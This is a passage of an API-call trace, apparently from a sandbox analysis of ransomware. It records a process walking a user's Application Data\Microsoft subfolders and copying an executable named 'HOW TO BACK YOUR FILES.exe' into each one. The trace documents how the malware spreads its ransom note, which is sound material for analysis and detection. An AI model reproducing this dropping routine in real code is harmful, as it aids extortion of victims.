lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0100.868] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0100.870] lstrcatW (in: lpString1="Document Building Blocks", lpString2="\\" | out: lpString1="Document Building Blocks\\") returned="Document Building Blocks\\" [0100.870] lstrcatW (in: lpString1="Document Building Blocks\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Document Building Blocks\\HOW TO BACK YOUR FILES.exe") returned="Document Building Blocks\\HOW TO BACK YOUR FILES.exe" [0100.870] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Document Building Blocks\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\document building blocks\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.873] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0100.873] lstrcatW (in: lpString1="Excel", lpString2="\\" | out: lpString1="Excel\\") returned="Excel\\" [0100.873] lstrcatW (in: lpString1="Excel\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Excel\\HOW TO BACK YOUR FILES.exe") returned="Excel\\HOW TO BACK YOUR FILES.exe" [0100.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Excel\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\excel\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc554db20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.875] lstrcatW (in: lpString1="IME12", lpString2="\\" | out: lpString1="IME12\\") returned="IME12\\" [0100.875] lstrcatW (in: lpString1="IME12\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IME12\\HOW TO BACK YOUR FILES.exe") returned="IME12\\HOW TO BACK YOUR FILES.exe" [0100.875] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\IME12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\ime12\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.878] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0100.878] lstrcatW (in: lpString1="IMJP12", lpString2="\\" | out: lpString1="IMJP12\\") returned="IMJP12\\" [0100.878] lstrcatW (in: lpString1="IMJP12\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IMJP12\\HOW TO BACK YOUR FILES.exe") returned="IMJP12\\HOW TO BACK YOUR FILES.exe" [0100.878] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\IMJP12\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\imjp12\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.881] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0100.881] lstrcatW (in: lpString1="IMJP8_1", lpString2="\\" | out: lpString1="IMJP8_1\\") returned="IMJP8_1\\" [0100.881] lstrcatW (in: lpString1="IMJP8_1\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IMJP8_1\\HOW TO BACK YOUR FILES.exe") returned="IMJP8_1\\HOW TO BACK YOUR FILES.exe" [0100.881] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\IMJP8_1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\imjp8_1\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.883] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0100.884] lstrcatW (in: lpString1="IMJP9_0", lpString2="\\" | out: lpString1="IMJP9_0\\") returned="IMJP9_0\\" [0100.884] lstrcatW (in: lpString1="IMJP9_0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="IMJP9_0\\HOW TO BACK YOUR FILES.exe") returned="IMJP9_0\\HOW TO BACK YOUR FILES.exe" [0100.884] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\IMJP9_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\imjp9_0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.886] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0100.886] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0100.886] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0100.886] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0100.890] lstrcatW (in: lpString1="MMC", lpString2="\\" | out: lpString1="MMC\\") returned="MMC\\" [0100.890] lstrcatW (in: lpString1="MMC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MMC\\HOW TO BACK YOUR FILES.exe") returned="MMC\\HOW TO BACK YOUR FILES.exe" [0100.890] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\MMC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\mmc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.893] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0100.893] lstrcatW (in: lpString1="MS Project", lpString2="\\" | out: lpString1="MS Project\\") returned="MS Project\\" [0100.893] lstrcatW (in: lpString1="MS Project\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MS Project\\HOW TO BACK YOUR FILES.exe") returned="MS Project\\HOW TO BACK YOUR FILES.exe" [0100.893] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\MS Project\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\ms project\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.897] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0100.897] lstrcatW (in: lpString1="Network", lpString2="\\" | out: lpString1="Network\\") returned="Network\\" [0100.897] lstrcatW (in: lpString1="Network\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Network\\HOW TO BACK YOUR FILES.exe") returned="Network\\HOW TO BACK YOUR FILES.exe" [0100.897] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0100.900] lstrcatW (in: lpString1="Office", lpString2="\\" | out: lpString1="Office\\") returned="Office\\" [0100.900] lstrcatW (in: lpString1="Office\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Office\\HOW TO BACK YOUR FILES.exe") returned="Office\\HOW TO BACK YOUR FILES.exe" [0100.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.903] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0100.903] lstrcatW (in: lpString1="Outlook", lpString2="\\" | out: lpString1="Outlook\\") returned="Outlook\\" [0100.903] lstrcatW (in: lpString1="Outlook\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outlook\\HOW TO BACK YOUR FILES.exe") returned="Outlook\\HOW TO BACK YOUR FILES.exe" [0100.903] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Outlook\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\outlook\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.906] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0100.906] lstrcatW (in: lpString1="PowerPoint", lpString2="\\" | out: lpString1="PowerPoint\\") returned="PowerPoint\\" [0100.906] lstrcatW (in: lpString1="PowerPoint\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PowerPoint\\HOW TO BACK YOUR FILES.exe") returned="PowerPoint\\HOW TO BACK YOUR FILES.exe" [0100.906] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\PowerPoint\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\powerpoint\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.909] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0100.909] lstrcatW (in: lpString1="Proof", lpString2="\\" | out: lpString1="Proof\\") returned="Proof\\" [0100.909] lstrcatW (in: lpString1="Proof\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Proof\\HOW TO BACK YOUR FILES.exe") returned="Proof\\HOW TO BACK YOUR FILES.exe" [0100.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Proof\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\proof\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0100.912] lstrcatW (in: lpString1="Protect", lpString2="\\" | out: lpString1="Protect\\") returned="Protect\\" [0100.913] lstrcatW (in: lpString1="Protect\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Protect\\HOW TO BACK YOUR FILES.exe") returned="Protect\\HOW TO BACK YOUR FILES.exe" [0100.913] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Protect\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\protect\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.915] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x43bcc750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x43bcc750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0100.915] lstrcatW (in: lpString1="Publisher", lpString2="\\" | out: lpString1="Publisher\\") returned="Publisher\\" [0100.915] lstrcatW (in: lpString1="Publisher\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Publisher\\HOW TO BACK YOUR FILES.exe") returned="Publisher\\HOW TO BACK YOUR FILES.exe" [0100.915] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.918] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbec39d0, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0xbec39d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0100.918] lstrcatW (in: lpString1="Publisher Building Blocks", lpString2="\\" | out: lpString1="Publisher Building Blocks\\") returned="Publisher Building Blocks\\" [0100.918] lstrcatW (in: lpString1="Publisher Building Blocks\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Publisher Building Blocks\\HOW TO BACK YOUR FILES.exe") returned="Publisher Building Blocks\\HOW TO BACK YOUR FILES.exe" [0100.918] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Publisher Building Blocks\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\publisher building blocks\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.922] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0100.922] lstrcatW (in: lpString1="Speech", lpString2="\\" | out: lpString1="Speech\\") returned="Speech\\" [0100.922] lstrcatW (in: lpString1="Speech\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Speech\\HOW TO BACK YOUR FILES.exe") returned="Speech\\HOW TO BACK YOUR FILES.exe" [0100.922] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Speech\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\speech\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.924] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0100.924] lstrcatW (in: lpString1="SystemCertificates", lpString2="\\" | out: lpString1="SystemCertificates\\") returned="SystemCertificates\\" [0100.924] lstrcatW (in: lpString1="SystemCertificates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SystemCertificates\\HOW TO BACK YOUR FILES.exe") returned="SystemCertificates\\HOW TO BACK YOUR FILES.exe" [0100.924] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\SystemCertificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\systemcertificates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.926] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0100.926] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0100.926] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0100.927] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.929] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, 